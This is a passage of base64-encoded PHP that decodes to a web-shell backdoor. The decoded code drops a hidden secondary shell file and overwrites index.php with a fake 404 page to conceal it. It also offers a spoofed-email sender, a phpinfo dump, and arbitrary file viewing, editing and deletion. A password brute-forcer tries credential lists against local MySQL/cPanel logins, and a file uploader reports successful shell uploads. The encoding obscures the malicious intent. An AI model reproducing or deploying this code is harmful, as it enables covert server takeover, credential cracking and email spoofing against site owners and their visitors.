WVdKc1pUNWNiaUk3RFFvSmZTQmxiSE5sSUhzTkNna0phV1lvSUNSaFkzUnBiMjRnUFQwZ0ltSkhiSHBrUlZKRFkzYzlQU0lnS1EwS0NRa0piR2x6ZEVSaGRHRmlZWE5sY3lncE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKamNtVmhkR1ZFUWlJZ0tRMEtDUWtKWTNKbFlYUmxSR0YwWVdKaGMyVW9LVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlaSEp2Y0VSQ0lpQXBEUW9KQ1Fsa2NtOXdSR0YwWVdKaGMyVW9LVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWliR2x6ZEZSaFlteGxjeUlnS1EwS0NRa0piR2x6ZEZSaFlteGxjeWdwT3cwS0NRbGxiSE5sSUdsbUtDQWtZV04wYVc5dUlEMDlJQ0pqY21WaGRHVlVZV0pzWlNJZ0tRMEtDUWtKWTNKbFlYUmxWR0ZpYkdVb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpISnZjRlJoWW14bElpQXBEUW9KQ1Fsa2NtOXdWR0ZpYkdVb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaWRtbGxkMU5qYUdWdFlTSWdLUTBLQ1FrSmRtbGxkMU5qYUdWdFlTZ3BPdzBLQ1FsbGJITmxJR2xtS0NBa1lXTjBhVzl1SUQwOUlDSnhkV1Z5ZVNJZ0tRMEtDUWtKZG1sbGQwUmhkR0VvSUNSeGRXVnllVk4wY2lBcE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKaFpHUkdhV1ZzWkNJZ0tRMEtDUWtKYldGdVlXZGxSbWxsYkdRb0lDSmhaR1FpSUNrN0RRb0pDV1ZzYzJVZ2FXWW9JQ1JoWTNScGIyNGdQVDBnSW1Ga1pFWnBaV3hrWDNOMVltMXBkQ0lnS1EwS0NRa0piV0Z1WVdkbFJtbGxiR1JmYzNWaWJXbDBLQ0FpWVdSa0lpQXBPdzBLQ1FsbGJITmxJR2xtS0NBa1lXTjBhVzl1SUQwOUlDSmxaR2wwUm1sbGJHUWlJQ2tOQ2drSkNXMWhibUZuWlVacFpXeGtLQ0FpWldScGRDSWdLVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlaV1JwZEVacFpXeGtYM04xWW0xcGRDSWdLUTBLQ1FrSmJXRnVZV2RsUm1sbGJHUmZjM1ZpYldsMEtDQWlaV1JwZENJZ0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpISnZjRVpwWld4a0lpQXBEUW9KQ1Fsa2NtOXdSbWxsYkdRb0tUc05DZ2tKWld4elpTQnBaaWdnSkdGamRHbHZiaUE5UFNBaVpHMXNiR1F3VW1oa1IwVTlJaUFwRFFvSkNRbDJhV1YzUkdGMFlTZ2dJaUlnS1RzTkNna0paV3h6WlNCcFppZ2dKR0ZqZEdsdmJpQTlQU0FpWVdSa1JHRjBZU0lnS1EwS0NRa0piV0Z1WVdkbFJHRjBZU2dnSW1Ga1pDSWdLVHNOQ2drSlpXeHpaU0JwWmlnZ0pHRmpkR2x2YmlBOVBTQWlZV1JrUkdGMFlWOXpkV0p0YVhRaUlDa05DZ2tKQ1cxaGJtRm5aVVJoZEdGZmMzVmliV2wwS0NBaVlXUmtJaUFwT3cwS0NRbGxiSE5sSUdsbUtDQWtZV04wYVc5dUlEMDlJQ0psWkdsMFJHRjBZU0lnS1EwS0NRa0piV0Z1WVdkbFJHRjBZU2dnSW1Wa2FYUWlJQ2s3RFFvSkNXVnNjMlVnYVdZb0lDUmhZM1JwYjI0Z1BUMGdJbVZrYVhSRVlYUmhYM04xWW0xcGRDSWdLUTBLQ1FrSmJXRnVZV2RsUkdGMFlWOXpkV0p0YVhRb0lDSmxaR2wwSWlBcE93MEtDUWxsYkhObElHbG1LQ0FrWVdOMGFXOXVJRDA5SUNKa1pXeGxkR1ZFWVhSaElpQXBEUW9KQ1Fsa1pXeGxkR1ZFWVhSaEtDazdEUW9KQ1dWc2MyVWdhV1lvSUNSaFkzUnBiMjRnUFQwZ0luVjBhV3h6SWlBcERRb0pDUWwxZEdsc2N5Z3BPdzBLQ1FsdGVYTnhiRjlqYkc5elpTZ2dKRzE1YzNGc1NHRnVaR3hsS1RzTkNna0pabTl2ZEdWeVgyaDBiV3dvS1RzTkNnbDlEUXA5RFFvL1BnMEtQR2gwYld3K0RRbzhhR1ZoWkQ0TkNqeDBhWFJzWlQ1TmVWTlJUQ0JKYm5SbGNtWmhZMlVnS0VSbGRtVnNiM0JsWkNCQ2VTQk5iMmhoYW1WeU1qSXBQQzkwYVhSc1pUNE5DanhpYjJSNUlHSm5RMjlzYjNJOUl6QXdNREF3TUNBK0RRbzhjM1I1YkdVZ2RIbHdaVDBpZEdWNGRDOWpjM01pUGcwS1BDRXRMUTBLY0M1c2IyTmhkR2x2YmlCN0RRb0pZMjlzYjNJNklDTXdNRVpHTURBN0RRcDlEUXBvTVN3Z2FESXNJR2d6SUhzTkNnbGpiMnh2Y2pvZ0l6QXdSa1l3TURzTkNuME5DblJvSUhzTkNnbGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQWpNakl5TWpJeU93MEtDV052Ykc5eU9pQWpNREJHUmpBd093MEtDV1p2Ym5RdGMybDZaVG9nYzIxaGJHdzdEUXA5RFFwMFpDQjdEUW9KWTI5c2IzSTZJQ013TUVaR01EQTdEUW9KWW1GamEyZHliM1Z1WkMxamIyeHZjam9nSXpRME5EUTBORHNOQ2dsbWIyNTBMWE5wZW1VNklITnRZV3hzT3cwS2ZRMEtabTl5YlNCN0RRb0piV0Z5WjJsdUxYUnZjRG9nTURzTkNnbHRZWEpuYVc0dFltOTBkRzl0T2lBd093MEtmUTBLWVNCN0RRb0pkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9tNXZibVU3RFFvSlkyOXNiM0k2SUNNd01FWkdNREE3RFFvSlptOXVkQzF6YVhwbE9uTnRZV3hzT3cwS2ZRMEtRVHBzYVc1cklIc05Da05QVEU5U09pTkdSa1pHUmtZN0RRcFVSVmhVTFVSRlEwOVNRVlJKVDA0NklHNXZibVVOQ24wTkNrRTZkbWx6YVhSbFpDQjdEUXBEVDB4UFVqb2pNREJHUmpBd093MEtWRVZZVkMxRVJVTlBVa0ZVU1U5T09pQnViMjVsRFFwOURRcEJPbUZqZEdsMlpTQjdEUXBEVDB4UFVqb2pNREJHUmpBd093MEtWRVZZVkMxRVJVTlBVa0ZVU1U5T09pQnViMjVsRFFwOURRcEJPbWh2ZG1WeUlIc05DbU52Ykc5eU9pTXdNRVpHTURBN0RRcFVSVmhVTFVSRlEwOVNRVlJKVDA0NklHNXZibVVOQ24wTkNtbHVjSFYwTENCelpXeGxZM1FzSUhSbGVIUmhjbVZoSUhzTkNtSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTXdNREF3TURBN0RRcGliM0prWlhJdGMzUjViR1U2SUhOdmJHbGtPdzBLWm05dWRDMW1ZVzFwYkhrNklGUmhhRzl0WVN4V1pYSmtZVzVoTEVGeWFXRnNMRk5oYm5NdFUyVnlhV1k3RFFwbWIyNTBMWE5wZW1VNmMyMWhiR3c3RFFwamIyeHZjam9nSXpBd1JrWXdNRHNOQ25CaFpHUnBibWM2SURCd2VEc05DbjBOQ214cElIc05DbU52Ykc5eU9pQWpNREJHUmpBd093MEtmUTBLTG01bGR5QjdEUXBqYjJ4dmNqb2dJekF3UmtZd01Ec05DbjBOQ2k4dkxTMCtEUW84TDNOMGVXeGxQZzBLUEM5b1pXRmtQZz09JzsgDQokZmlsZSA9IGZvcGVuKCJkYi1zcWwucGhwIiAsIncrIik7DQokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRzcWxzaGVsbCkpOw0KZmNsb3NlKCRmaWxlKTsNCiAgICBjaG1vZCgiZGItc3FsLnBocCIsIDA2NDQpOw0KJGluZGV4c2hlbGwgPSBmb3BlbigiaW5kZXgucGhwIiAsIncrIik7DQokZGF0YSA9ICdQR2d4UGs1dmRDQkdiM1Z1WkR3dmFERStJQTBLUEhBK1ZHaGxJSEpsY1hWbGMzUmxaQ0JWVWt3Z2QyRnpJRzV2ZENCbWIzVnVaQ0J2YmlCMGFHbHpJSE5sY25abGNpNDhMM0ErSUEwS1BHaHlQaUFOQ2p4aFpHUnlaWE56UGtGd1lXTm9aU0JUWlhKMlpYSWdZWFFnUEQ4OUpGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRQejRnVUc5eWRDQTRNRHd2WVdSa2NtVnpjejRnRFFvZ0lDQWdQSE4wZVd4bFBpQU5DaUFnSUNBZ0lDQWdhVzV3ZFhRZ2V5QnRZWEpuYVc0Nk1EdGlZV05yWjNKdmRXNWtMV052Ykc5eU9pTm1abVk3WW05eVpHVnlPakZ3ZUNCemIyeHBaQ0FqWm1abU95QjlJQTBLSUNBZ0lEd3ZjM1I1YkdVKyc7DQokdHVsaXMgPSBmd3JpdGUoICRpbmRleHNoZWxsLCBiYXNlNjRfZGVjb2RlKCRkYXRhKSk7DQpmY2xvc2UoJGluZGV4c2hlbGwpOw0KICAgZWNobyAiPGlmcmFtZSBzcmM9bXlzcWwvZGItc3FsLnBocCB3aWR0aD05NyUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4iOyANCn0NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYWlsJykpew0KaWYoaXNzZXQoJF9QT1NUWydtYWlsX3NlbmQnXSkpew0KCSRtYWlsX3RvID0gJF9QT1NUWydtYWlsX3RvJ107DQoJJG1haWxfZnJvbSA9ICRfUE9TVFsnbWFpbF9mcm9tJ107DQoJJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnbWFpbF9zdWJqZWN0J107DQoJJG1haWxfY29udGVudCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ21haWxfY29udGVudCddKTsNCglpZihAbWFpbCgkbWFpbF90bywkbWFpbF9zdWJqZWN0LCRtYWlsX2NvbnRlbnQsIkZST006JG1haWxfZnJvbSIpKXsNCgkJJG1zZyA9ICJlbWFpbCBzZW50IHRvICRtYWlsX3RvIjsNCgl9DQoJZWxzZSAkbXNnID0gInNlbmQgZW1haWwgZmFpbGVkIjsNCn0NCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9bWFpbCIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0iY21kYm94Ij4NCjx0cj48dGQ+DQo8dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0ibWFpbF9jb250ZW50IiBpZD0iY21kIiBzdHlsZT0iaGVpZ2h0OjM0MHB4OyI+SGV5IHRoZXJlLCBwbGVhc2UgcGF0Y2ggbWUgQS5TLkEuUDwvdGV4dGFyZWE+DQo8dHI+PHRkPiZuYnNwOzxpbnB1dCBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6MjAlOyIgdHlwZT0idGV4dCIgdmFsdWU9ImFkbWluQHNvbWVzb21lLmNvbSIgbmFtZT0ibWFpbF90byIgLz4mbmJzcDsgbWFpbCB0bzwvdGQ+PC90cj4NCjx0cj48dGQ+Jm5ic3A7PGlucHV0IGNsYXNzPSJpbnB1dHoiIHN0eWxlPSJ3aWR0aDoyMCU7IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ic3B5X2N4NUBob3RtYWlsLmNvbS50ciIgbmFtZT0ibWFpbF9mcm9tIiAvPiZuYnNwOyBmcm9tPC90ZD48L3RyPg0KPHRyPjx0ZD4mbmJzcDs8aW5wdXQgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjIwJTsiIHR5cGU9InRleHQiIHZhbHVlPSJwYXRjaCBtZSIgbmFtZT0ibWFpbF9zdWJqZWN0IiAvPiZuYnNwOyBzdWJqZWN0PC90ZD48L3RyPg0KPHRyPjx0ZD4mbmJzcDs8aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9Im1haWxfc2VuZCIgLz48L3RkPjwvdHI+PC9mb3JtPg0KPHRyPjx0ZD4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8P3BocCBlY2hvICRtc2c7ID8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KPD9waHAgfQ0KDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAncGhwaW5mbycpKXsgDQoJQG9iX3N0YXJ0KCk7DQoJQGV2YWwoInBocGluZm8oKTsiKTsNCgkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCglAb2JfZW5kX2NsZWFuKCk7CQ0KCSRhd2FsID0gc3RycG9zKCRidWZmLCI8Ym9keT4iKSs2Ow0KCSRha2hpciA9IHN0cnBvcygkYnVmZiwiPC9ib2R5PiIpOw0KCWVjaG8gIjxkaXYgY2xhc3M9XCJwaHBpbmZvXCI+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+IjsNCn0NCmVsc2VpZihpc3NldCgkX0dFVFsndmlldyddKSAmJiAoJF9HRVRbJ3ZpZXcnXSAhPSAiIikpew0KICBpZihpc19maWxlKCRfR0VUWyd2aWV3J10pKXsgDQoJaWYoIWlzc2V0KCRmaWxlKSkgJGZpbGUgPSBtYWdpY2Jvb20oJF9HRVRbJ3ZpZXcnXSk7DQoJaWYoISR3aW4gJiYgJHBvc2l4KXsNCgkJJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOw0KCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsNCgl9DQoJZWxzZSB7DQoJCSRvd25lciA9ICR1c2VyOw0KCX0NCgkkZmlsbiA9IGJhc2VuYW1lKCRmaWxlKTsNCgllY2hvICI8dGFibGUgc3R5bGU9XCJtYXJnaW46NnB4IDAgMCAycHg7bGluZS1oZWlnaHQ6MjBweDtcIj4NCgk8dHI+PHRkPkZpbGVuYW1lPC90ZD48dGQ+PHNwYW4gaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGlua1wiPiIuJGZpbGUuIjwvc3Bhbj4NCgk8Zm9ybSBhY3Rpb249XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0kZmlsZVwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPg0KCQk8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPg0KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZpbG4uIlwiIC8+DQoJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPg0KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7XCIgLz4NCgk8L2Zvcm0+DQoJPC90ZD48L3RyPg0KCTx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIudWt1cmFuKCRmaWxlKS4iPC90ZD48L3RyPg0KCTx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPg0KCTx0cj48dGQ+T3duZXI8L3RkPjx0ZD4iLiRvd25lci4iPC90ZD48L3RyPg0KCTx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVjdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+DQoJPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPg0KCTx0cj48dGQ+TGFzdCBhY2Nlc3NlZDwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWF0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4NCgk8dHI+PHRkPkFjdGlvbnM8L3RkPjx0ZD48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0kZmlsZVwiPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxuKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RlbGV0ZT0kZmlsZVwiPmRlbGV0ZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGw9JGZpbGVcIj5kb3dubG9hZDwvYT4mbmJzcDsoPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZVwiPmd6aXA8L2E+KTwvdGQ+PC90cj4NCgk8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iXCI+dGV4dDwvYT4gfCA8YSBocmVmPVwiP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGVcIj5jb2RlPC9hPiB8IDxhIGhyZWY9XCI/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiImYW1wO3R5cGU9aW1hZ2VcIj5pbWFnZTwvYT48L3RkPjwvdHI+DQoJPC90YWJsZT4NCgkiOw0KCWlmKGlzc2V0KCRfR0VUWyd0eXBlJ10pICYmICgkX0dFVFsndHlwZSddPT0naW1hZ2UnKSl7DQoJCWVjaG8gIjxkaXYgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4O1wiPjxpbWcgc3JjPVwiP3k9Ii4kcHdkLiImYW1wO2ltZz0iLiRmaWxuLiJcIj48L2Rpdj4iOw0KCX0NCgllbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpew0KCQllY2hvICI8ZGl2IGNsYXNzPVwidmlld2ZpbGVcIj4iOw0KCQkkZmlsZSA9IHdvcmR3cmFwKEBmaWxlX2dldF9jb250ZW50cygkZmlsZSksIjI0MCIsIlxuIik7DQoJCUBoaWdobGlnaHRfc3RyaW5nKCRmaWxlKTsNCgkJZWNobyAiPC9kaXY+IjsNCgl9DQoJZWxzZSB7DQoJCWVjaG8gIjxkaXYgY2xhc3M9XCJ2aWV3ZmlsZVwiPiI7DQoJCWVjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpOw0KCQllY2hvICI8L2Rpdj4iOw0KCX0NCiAgfQ0KICBlbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsNCgkJZWNobyBzaG93ZGlyKCRwd2QsJHByb21wdCk7DQogIH0NCgkNCn0NCmVsc2VpZihpc3NldCgkX0dFVFsnZWRpdCddKSAmJiAoJF9HRVRbJ2VkaXQnXSAhPSAiIikpew0KDQoJCWlmKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSl7DQoJCQkkZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107DQoJCQkkY29udGVudCA9IG1hZ2ljYm9vbSgkX1BPU1RbJ2NvbnRlbnQnXSk7DQoJCQlpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInciKSl7DQoJCQkJJHRpbWUgPSBkYXRlKCJkLU0tWSBIOmkiLHRpbWUoKSk7DQoJCQkJaWYoQGZ3cml0ZSgkZmlsZXosJGNvbnRlbnQpKSAkbXNnID0gImZpbGUgc2F2ZWQgPHNwYW4gY2xhc3M9XCJnYXlhXCI+QDwvc3Bhbj4gIi4kdGltZTsNCgkJCQllbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiOw0KCQkJCUBmY2xvc2UoJGZpbGV6KTsNCgkJCX0NCgkJCWVsc2UgJG1zZyA9ICJwZXJtaXNzaW9uIGRlbmllZCI7DQoJCX0NCgkJaWYoIWlzc2V0KCRmaWxlKSkgJGZpbGUgPSAkX0dFVFsnZWRpdCddOw0KCQlpZigkZmlsZXogPSBAZm9wZW4oJGZpbGUsInIiKSl7DQoJCQkkY29udGVudCA9ICIiOw0KCQkJd2hpbGUoIWZlb2YoJGZpbGV6KSl7DQoJCQkJJGNvbnRlbnQgLj0gaHRtbGVudGl0aWVzKHN0cl9yZXBsYWNlKCInJyIsIiciLGZnZXRzKCRmaWxleikpKTsNCgkJCX0NCgkJCUBmY2xvc2UoJGZpbGV6KTsNCgkJfQ0KCQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOyA/PiIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0iY21kYm94Ij4NCjx0cj48dGQgY29sc3Bhbj0iMiI+DQo8dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY29udGVudCI+DQo8P3BocCBlY2hvICRjb250ZW50OyA/Pg0KPC90ZXh0YXJlYT4NCjx0cj48dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOyA/PiIgLz48aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2F2ZSAhIiBuYW1lPSJzYXZlIiBzdHlsZT0id2lkdGg6MTIlOyIgLz4NCiZuYnNwOzw/cGhwIGVjaG8gJG1zZzsgPz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPD9waHANCn0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbG9nb3V0JykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1sb2dvdXQiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQogICAgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7IA0KICAgIGVjaG8gJ2J5ZSEnOyANCn0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnJ1dGUnKSkNCgkJCXsJDQoJCQk/Pg0KCQkJCTxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1icnV0ZSIgbWV0aG9kPSJwb3N0Ij4NCgkJCTw/cGhwDQoJCQkvL2JydXRlZm9yY2UNCj8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjw/cGhwDQovKg0KUmVjb2RlZCBCeSBCQ0MNCiovDQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAZXJyb3JfcmVwb3J0aW5nKDApOw0KDQoNCmlmKCRfUE9TVFsncGFnZSddPT0nZmluZCcpDQp7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJuYW1lcyddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkcyddKSkNCnsNCiAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAncGFzc3dkJyl7DQogICAgICAgICRlID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgICAgICBmb3JlYWNoKCRlIGFzICR2YWx1ZSl7DQogICAgICAgICRrID0gZXhwbG9kZSgiOiIsJHZhbHVlKTsNCiAgICAgICAgJHVzZXJuYW1lIC49ICRrWycwJ10uIiAiOw0KICAgICAgICB9DQogICAgfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQogICAgICAgICR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KICAgIH0NCiAgICAkYTEgPSBleHBsb2RlKCIgIiwkdXNlcm5hbWUpOw0KICAgICRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCiAgICAkaWQyID0gY291bnQoJGEyKTsNCiAgICAkb2sgPSAwOw0KICAgIGZvcmVhY2goJGExIGFzICR1c2VyICkNCiAgICB7DQogICAgICAgIGlmKCR1c2VyICE9PSAnJykNCiAgICAgICAgew0KICAgICAgICAkdXNlcj10cmltKCR1c2VyKTsNCiAgICAgICAgIGZvcigkaT0wOyRpPD0kaWQyOyRpKyspDQogICAgICAgICB7DQogICAgICAgICAgICAkcGFzcyA9IHRyaW0oJGEyWyRpXSk7DQogICAgICAgICAgICBpZihAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlciwkcGFzcykpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiR2NhfiB1c2VyIGlzICg8Yj48Zm9udCBjb2xvcj1ncmVlbj4kdXNlcjwvZm9udD48L2I+KSBQYXNzd29yZCBpcyAoPGI+PGZvbnQgY29sb3I9Z3JlZW4+JHBhc3M8L2ZvbnQ+PC9iPik8YnIgLz4iOw0KICAgICAgICAgICAgICAgICRvaysrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gIjxocj48Yj5Zb3UgRm91bmQgPGZvbnQgY29sb3I9Z3JlZW4+JG9rPC9mb250PiBDcGFuZWw8L2I+IjsNCiAgICBlY2hvICI8Y2VudGVyPjxiPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCiAgICBleGl0Ow0KfQ0KfQ0KaWYoJF9QT1NUWydwYXNzJ109PSdwYXNzd29yZCcpew0KQGVycm9yX3JlcG9ydGluZygwKTsNCiRpID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOw0KJGQgPSBkYXRlKCdELCBNIGpTLCBZIEg6aScsdGltZSgpKTsNCiRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGRpcj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRiYWNrID0gIlBEOXdhSEFOQ21WamFHOGdKenhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHNWhiV1U5SW5Wd2JHOWhaR1Z5SWlCcFpEMGlkWEJzYjJGa1pYSWlQaWM3RFFwbFkyaHZJQ2M4YVc1d2RYUWdkSGx3WlQwaVptbHNaU0lnYm1GdFpUMGlabWxzWlNJZ2MybDZaVDBpTlRBaVBqeHBibkIxZENCdVlXMWxQU0pmZFhCc0lpQjBlWEJsUFNKemRXSnRhWFFpSUdsa1BTSmZkWEJzSWlCMllXeDFaVDBpVlhCc2IyRmtJajQ4TDJadmNtMCtKenNOQ21sbUtDQWtYMUJQVTFSYkoxOTFjR3duWFNBOVBTQWlWWEJzYjJGa0lpQXBJSHNOQ21sbUtFQmpiM0I1S0NSZlJrbE1SVk5iSjJacGJHVW5YVnNuZEcxd1gyNWhiV1VuWFN3Z0pGOUdTVXhGVTFzblptbHNaU2RkV3lkdVlXMWxKMTBwS1NCN0lHVmphRzhnSnp4aVBrdHZjbUZ1WnlCRVlXZ2dRbVZ5YW1GNVlTQlZjR3h2WVdRZ1UyaGxiR3dnUzI5eVlXNW5JU0VoUEdJK1BHSnlQanhpY2o0bk95QjlEUXBsYkhObElIc2daV05vYnlBblBHSStTMjl5WVc1bklFZGhaMkZzSUZWd2JHOWhaQ0JUYUdWc2JDQkxiM0poYm1jaElTRT